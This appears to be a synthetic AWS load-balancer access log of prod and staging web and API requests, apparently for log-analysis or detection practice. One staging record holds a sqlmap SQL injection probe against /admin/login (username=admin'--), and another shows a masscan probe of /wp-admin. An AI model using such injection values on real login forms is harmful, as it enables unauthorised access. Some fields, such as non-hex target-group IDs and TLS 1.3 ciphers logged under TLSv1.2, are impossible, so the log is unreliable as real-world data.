arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be4c-73f1211527c649eb84393617" "prod-api-alb.example.com" "-" 0 2024-11-01T00:28:44.191342Z "forward" "-" "-" "10.0.224.55:443" "200" "-" "-" -http 2024-11-01T00:28:44.625699Z staging-alb 143.140.19.206:57846 206.56.116.49:80 0.119612 0.482594 0.090220 200 200 402 298 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be4c-0be4cd0074e4416d9f1627d8" "staging-alb.example.com" "-" 1 2024-11-01T00:28:44.625699Z "forward" "-" "-" "206.56.116.49:80" "200" "-" "-" -https 2024-11-01T00:28:44.731014Z prod-web-alb 202.82.228.166:52533 10.0.165.180:443 0.016051 0.139597 0.080452 301 301 95 1226 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be4c-3a25b7acc4d443eab934a07c" "prod-web-alb.example.com" "-" 2 2024-11-01T00:28:44.731014Z "forward" "-" "-" "10.0.165.180:443" "301" "-" "-" -https 2024-11-01T00:28:45.895279Z prod-api-alb 139.14.14.88:11984 10.0.123.145:443 0.049284 0.199795 0.088905 200 200 967 11965 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be4d-cc3fe9e63481471caa941f68" "prod-api-alb.example.com" "-" 1 2024-11-01T00:28:45.895279Z "forward" "-" "-" "10.0.123.145:443" "200" "-" "-" -https 2024-11-01T00:28:46.012355Z prod-web-alb 69.225.21.17:60495 10.0.71.42:443 0.058650 0.166811 0.095426 200 200 791 13209 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be4e-79a735cae89a45d2a011cf7c" "prod-web-alb.example.com" "-" 2 2024-11-01T00:28:46.012355Z "forward" "-" "-" "10.0.71.42:443" "200" "-" "-" -https 2024-11-01T00:28:47.160087Z staging-alb 236.20.58.254:16155 66.193.129.17:8080 0.056864 0.015096 0.007161 200 200 894 5947 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be4f-69ebf3edae1b46e9afec5337" "staging-alb.example.com" "-" 8 2024-11-01T00:28:47.160087Z "forward" "-" "-" "66.193.129.17:8080" "200" "-" "-" -https 2024-11-01T00:28:47.843083Z prod-api-alb 142.119.221.152:40039 10.0.220.221:443 0.083678 0.158720 0.092638 404 404 845 2038 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be4f-72b576bb10e94a1daf093ddf" "prod-api-alb.example.com" "-" 6 2024-11-01T00:28:47.843083Z "forward" "-" "-" "10.0.220.221:443" "404" "-" "-" -https 2024-11-01T00:28:48.078652Z prod-api-alb 219.248.53.130:60136 10.0.92.135:443 0.099519 0.081928 0.067129 200 200 781 3283 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be50-40fd1fdfdac54a8590b5d9f5" "prod-api-alb.example.com" "-" 3 2024-11-01T00:28:48.078652Z "forward" "-" "-" "10.0.92.135:443" "200" "-" "-" -https 2024-11-01T00:28:48.361674Z prod-web-alb 98.72.248.101:64698 10.0.20.105:443 0.075595 0.378121 0.086868 200 200 723 7962 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be50-1464122b477647ecbb8a960a" "prod-web-alb.example.com" "-" 9 2024-11-01T00:28:48.361674Z "forward" "-" "-" "10.0.20.105:443" "200" "-" "-" -https 2024-11-01T00:28:48.992326Z prod-web-alb 194.136.170.87:50663 10.0.174.164:443 0.084368 0.412645 0.032742 302 302 596 9410 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be50-f6b24cf0ed9541ae8d96fbe2" "prod-web-alb.example.com" "-" 10 2024-11-01T00:28:48.992326Z "forward" "-" "-" "10.0.174.164:443" "302" "-" "-" -https 2024-11-01T00:28:50.338434Z prod-web-alb 157.157.229.151:22744 10.0.54.15:443 0.048347 0.294429 0.065021 200 200 333 9256 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be52-3d63c8d3d3cc4acbb03cc9eb" "prod-web-alb.example.com" "-" 4 2024-11-01T00:28:50.338434Z "forward" "-" "-" "10.0.54.15:443" "200" "-" "-" -https 2024-11-01T00:28:51.809765Z prod-web-alb 6.116.197.56:41732 10.0.179.106:443 0.041295 0.215182 0.011726 200 200 294 8082 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be53-7365743652a3430697a9f7b4" "prod-web-alb.example.com" "-" 2 2024-11-01T00:28:51.809765Z "forward" "-" "-" "10.0.179.106:443" "200" "-" "-" -https 2024-11-01T00:28:53.205515Z staging-alb 185.181.26.16:31979 182.5.177.230:8080 0.031933 0.050780 0.030442 200 200 481 8644 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be55-518115a532bd4b829cb02fbc" "-" "-" 6 2024-11-01T00:28:53.205515Z "forward" "-" "-" "182.5.177.230:8080" "200" "-" "-" -https 2024-11-01T00:28:53.643043Z staging-alb 165.199.78.127:50809 121.37.234.70:8080 0.078483 0.607971 0.114530 404 404 197 3955 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be55-972991a134604c28b121a1cf" "staging-alb.example.com" "-" 0 2024-11-01T00:28:53.643043Z "forward" "-" "-" "121.37.234.70:8080" "404" "-" "-" -https 2024-11-01T00:28:53.788024Z staging-alb 98.174.172.252:38188 34.152.236.236:80 0.084551 0.227255 0.000726 200 200 660 13559 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be55-1fe0cb506ba348e6a098cd57" "-" "-" 1 2024-11-01T00:28:53.788024Z "forward" "-" "-" "34.152.236.236:80" "200" "-" "-" -https 2024-11-01T00:28:55.427816Z prod-api-alb 254.135.157.111:34119 10.0.196.245:443 0.068140 0.370194 0.088305 200 200 639 2456 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be57-c88543f3b0224000b2c5e40e" "prod-api-alb.example.com" "-" 9 2024-11-01T00:28:55.427816Z "forward" "-" "-" "10.0.196.245:443" "200" "-" "-" -https 2024-11-01T00:28:56.180522Z prod-api-alb 247.10.197.89:52699 10.0.91.2:443 0.073266 0.137331 0.002359 404 404 944 4321 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be58-c4d9cc893cf24450a82f13bc" "prod-api-alb.example.com" "-" 4 2024-11-01T00:28:56.180522Z "forward" "-" "-" "10.0.91.2:443" "404" "-" "-" -https 2024-11-01T00:28:57.244849Z prod-api-alb 115.125.7.151:20161 10.0.150.212:443 0.003453 0.113143 0.048745 302 302 10 4958 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be59-ecfdd7d5f8cc4b809e69d454" "prod-api-alb.example.com" "-" 1 2024-11-01T00:28:57.244849Z "forward" "-" "-" "10.0.150.212:443" "302" "-" "-" -https 2024-11-01T00:28:58.263049Z staging-alb 148.28.225.238:60003 226.21.238.255:443 0.148950 0.620515 0.081909 200 200 453 5943 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be5a-43038bc04a6e4d0595603f11" "staging-alb.example.com" "-" 1 2024-11-01T00:28:58.263049Z "forward" "-" "-" "226.21.238.255:443" "200" "-" "-" -https 2024-11-01T00:29:00.219315Z prod-api-alb 148.195.1.24:40420 10.0.223.183:443 0.032645 0.020586 0.009842 301 301 658 8575 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be5c-a3f9f69b62e04b58897a4841" "prod-api-alb.example.com" "-" 6 2024-11-01T00:29:00.219315Z "forward" "-" "-" "10.0.223.183:443" "301" "-" "-" -https 2024-11-01T00:29:00.598126Z staging-alb 72.226.51.253:56722 243.236.12.64:80 0.083516 0.749068 0.121603 200 200 363 14486 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be5c-3dbd822a450542b28a5331e9" "staging-alb.example.com" "-" 9 2024-11-01T00:29:00.598126Z "forward" "-" "-" "243.236.12.64:80" "200" "-" "-" -https 2024-11-01T00:29:02.388270Z prod-api-alb 111.236.188.88:41517 10.0.66.133:443 0.034626 0.357093 0.089517 404 404 435 14038 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be5e-16a4304c1ef649f185c1f9c6" "prod-api-alb.example.com" "-" 4 2024-11-01T00:29:02.388270Z "forward" "-" "-" "10.0.66.133:443" "404" "-" "-" -https 2024-11-01T00:29:04.269939Z prod-web-alb 167.177.39.85:53817 10.0.159.53:443 0.017059 0.222862 0.096758 200 200 290 2843 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be60-c27038171aab47029523a60d" "prod-web-alb.example.com" "-" 8 2024-11-01T00:29:04.269939Z "forward" "-" "-" "10.0.159.53:443" "200" "-" "-" -https 2024-11-01T00:29:05.108828Z prod-web-alb 143.240.150.69:13523 10.0.168.48:443 0.021623 0.079744 0.003966 200 200 354 5683 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be61-c135965562d9403d8b3af59d" "prod-web-alb.example.com" "-" 10 2024-11-01T00:29:05.108828Z "forward" "-" "-" "10.0.168.48:443" "200" "-" "-" -http 2024-11-01T00:29:07.096844Z staging-alb 104.115.40.156:47087 44.45.170.125:8080 0.087050 0.663071 0.064792 301 301 911 10765 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be63-949386ebd1e04a05a02b582a" "staging-alb.example.com" "-" 8 2024-11-01T00:29:07.096844Z "forward" "-" "-" "44.45.170.125:8080" "301" "-" "-" -https 2024-11-01T00:29:07.441446Z staging-alb 10.229.145.187:13512 136.18.14.201:8080 0.056231 0.711384 0.112586 200 200 529 8840 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be63-1655d93bbce240a3b98d01f8" "staging-alb.example.com" "-" 9 2024-11-01T00:29:07.441446Z "forward" "-" "-" "136.18.14.201:8080" "200" "-" "-" -https 2024-11-01T00:29:07.855573Z prod-api-alb 163.33.100.11:46586 10.0.227.49:443 0.003241 0.141153 0.088373 200 200 875 4024 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be63-6e911a3646af4ea19e880548" "prod-api-alb.example.com" "-" 10 2024-11-01T00:29:07.855573Z "forward" "-" "-" "10.0.227.49:443" "200" "-" "-" -https 2024-11-01T00:29:09.420359Z staging-alb 226.75.204.101:18957 20.8.68.199:443 0.099794 0.122253 0.025992 301 301 444 8680 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be65-dbde7a5bbf704b02a1914eca" "staging-alb.example.com" "-" 4 2024-11-01T00:29:09.420359Z "forward" "-" "-" "20.8.68.199:443" "301" "-" "-" -https 2024-11-01T00:29:10.757083Z prod-api-alb 111.138.31.141:12284 10.0.137.47:443 0.032912 0.125603 0.032069 301 301 477 8710 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be66-02b05c644b6a4f2da5efc483" "prod-api-alb.example.com" "-" 10 2024-11-01T00:29:10.757083Z "forward" "-" "-" "10.0.137.47:443" "301" "-" "-" -https 2024-11-01T00:29:11.740328Z prod-api-alb 133.136.22.174:30738 10.0.200.85:443 0.045000 0.125089 0.088658 200 200 398 1248 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be67-e27d3fea9f614a0d9e6ee188" "prod-api-alb.example.com" "-" 1 2024-11-01T00:29:11.740328Z "forward" "-" "-" "10.0.200.85:443" "200" "-" "-" -https 2024-11-01T00:29:12.196381Z prod-web-alb 245.202.48.162:27590 10.0.183.19:443 0.014448 0.339118 0.097858 200 200 439 7934 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be68-f7c8ce6a48fd4acc877325f6" "prod-web-alb.example.com" "-" 7 2024-11-01T00:29:12.196381Z "forward" "-" "-" "10.0.183.19:443" "200" "-" "-" -http 2024-11-01T00:29:13.675511Z staging-alb 70.9.99.243:56863 164.120.200.129:80 0.019989 0.558016 0.063002 302 302 831 4082 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be69-3c785d7c948c432bbd1bd439" "staging-alb.example.com" "-" 10 2024-11-01T00:29:13.675511Z "forward" "-" "-" "164.120.200.129:80" "302" "-" "-" -http 2024-11-01T00:29:15.151823Z staging-alb 67.57.21.33:29444 165.55.253.69:80 0.082929 0.044506 0.000221 404 404 402 5932 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be6b-d616246aff934752ba149d8f" "staging-alb.example.com" "-" 6 2024-11-01T00:29:15.151823Z "forward" "-" "-" "165.55.253.69:80" "404" "-" "-" -https 2024-11-01T00:29:17.099215Z staging-alb 185.181.25.65:49566 0.190.227.43:443 0.035810 0.595044 0.069897 302 302 71 3349 "GET /wp-admin HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be6d-1f029932d3a64ab7b229278c" "-" "-" 10 2024-11-01T00:29:17.099215Z "forward" "-" "-" "0.190.227.43:443" "302" "-" "-" -https 2024-11-01T00:29:17.808605Z prod-api-alb 163.140.135.176:19944 10.0.122.244:443 0.051545 0.234885 0.018172 302 302 217 8907 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be6d-9ddf720725054b01b44e70cd" "prod-api-alb.example.com" "-" 2 2024-11-01T00:29:17.808605Z "forward" "-" "-" "10.0.122.244:443" "302" "-" "-" -https 2024-11-01T00:29:19.078116Z prod-web-alb 181.161.135.204:43103 10.0.110.173:443 0.016232 0.000333 0.087678 301 301 988 6743 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be6f-eb9aef98dd00428d8a2a9f93" "prod-web-alb.example.com" "-" 3 2024-11-01T00:29:19.078116Z "forward" "-" "-" "10.0.110.173:443" "301" "-" "-" -https 2024-11-01T00:29:19.404385Z prod-api-alb 61.39.119.43:45991 10.0.122.222:443 0.000442 0.253877 0.090640 301 301 681 4876 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be6f-eee2b87368114821b7659e2e" "prod-api-alb.example.com" "-" 5 2024-11-01T00:29:19.404385Z "forward" "-" "-" "10.0.122.222:443" "301" "-" "-" -https 2024-11-01T00:29:20.111705Z prod-web-alb 148.25.165.11:33665 10.0.48.160:443 0.076994 0.394013 0.080353 200 200 308 3145 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be70-52bf0158f85c4eab8e033a24" "prod-web-alb.example.com" "-" 10 2024-11-01T00:29:20.111705Z "forward" "-" "-" "10.0.48.160:443" "200" "-" "-" -https 2024-11-01T00:29:20.373428Z prod-web-alb 4.113.174.9:44791 10.0.178.165:443 0.013980 0.049273 0.007758 200 200 158 10191 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be70-34132647de7f4d78b4c585e3" "prod-web-alb.example.com" "-" 9 2024-11-01T00:29:20.373428Z "forward" "-" "-" "10.0.178.165:443" "200" "-" "-" -http 2024-11-01T00:29:21.163911Z staging-alb 102.147.8.83:34989 153.165.165.83:443 0.063386 0.689875 0.051719 200 200 910 5891 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be71-3a1f4f6bed9a453fbef0f4f5" "staging-alb.example.com" "-" 8 2024-11-01T00:29:21.163911Z "forward" "-" "-" "153.165.165.83:443" "200" "-" "-" -http 2024-11-01T00:29:22.100252Z staging-alb 133.65.63.32:63492 102.0.82.42:443 0.134162 0.577665 0.072420 200 200 226 532 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be72-e2fb2e6c8da143d8a6cf8dc8" "staging-alb.example.com" "-" 5 2024-11-01T00:29:22.100252Z "forward" "-" "-" "102.0.82.42:443" "200" "-" "-" -https 2024-11-01T00:29:23.905424Z prod-web-alb 7.255.251.99:13074 10.0.16.90:443 0.037001 0.474119 0.036381 404 404 752 11644 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be73-c65646d805b446acb2e098fd" "prod-web-alb.example.com" "-" 5 2024-11-01T00:29:23.905424Z "forward" "-" "-" "10.0.16.90:443" "404" "-" "-" -https 2024-11-01T00:29:24.980887Z prod-api-alb 157.2.37.196:29304 10.0.208.118:443 0.059093 0.148202 0.031631 200 200 708 7917 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be74-c72fd78cd29e468f8fad1cdb" "prod-api-alb.example.com" "-" 3 2024-11-01T00:29:24.980887Z "forward" "-" "-" "10.0.208.118:443" "200" "-" "-" -http 2024-11-01T00:29:26.838377Z staging-alb 136.105.184.87:24489 65.173.111.115:443 0.036140 0.725427 0.029736 404 404 966 9000 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be76-eb1a5769bc234e5bb10c3478" "staging-alb.example.com" "-" 4 2024-11-01T00:29:26.838377Z "forward" "-" "-" "65.173.111.115:443" "404" "-" "-" -http 2024-11-01T00:29:27.606022Z staging-alb 130.248.251.103:11269 209.26.205.184:80 0.087467 0.010043 0.072562 404 404 631 9077 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be77-647220bbd35b42bb9239b866" "staging-alb.example.com" "-" 7 2024-11-01T00:29:27.606022Z "forward" "-" "-" "209.26.205.184:80" "404" "-" "-" -https 2024-11-01T00:29:28.443549Z prod-api-alb 119.203.34.227:38505 10.0.32.243:443 0.080060 0.208206 0.046070 301 301 604 8865 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be78-45b661c858164e479829b5a4" "prod-api-alb.example.com" "-" 4 2024-11-01T00:29:28.443549Z "forward" "-" "-" "10.0.32.243:443" "301" "-" "-" -https 2024-11-01T00:29:30.221375Z staging-alb 137.168.67.124:49172 184.92.129.59:443 0.149789 0.381424 0.111464 301 301 557 6741 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be7a-436a9074f44245df81025bf9" "staging-alb.example.com" "-" 8 2024-11-01T00:29:30.221375Z "forward" "-" "-" "184.92.129.59:443" "301" "-" "-" -https 2024-11-01T00:29:31.460057Z prod-api-alb 72.47.88.37:52099 10.0.248.147:443 0.088773 0.237448 0.091197 301 301 679 14787 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be7b-483a368f76ff4acd8f0e4e84" "prod-api-alb.example.com" "-" 1 2024-11-01T00:29:31.460057Z "forward" "-" "-" "10.0.248.147:443" "301" "-" "-" -https 2024-11-01T00:29:31.646646Z prod-web-alb 31.49.19.228:30571 10.0.168.219:443 0.090466 0.450066 0.048493 200 200 935 300 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 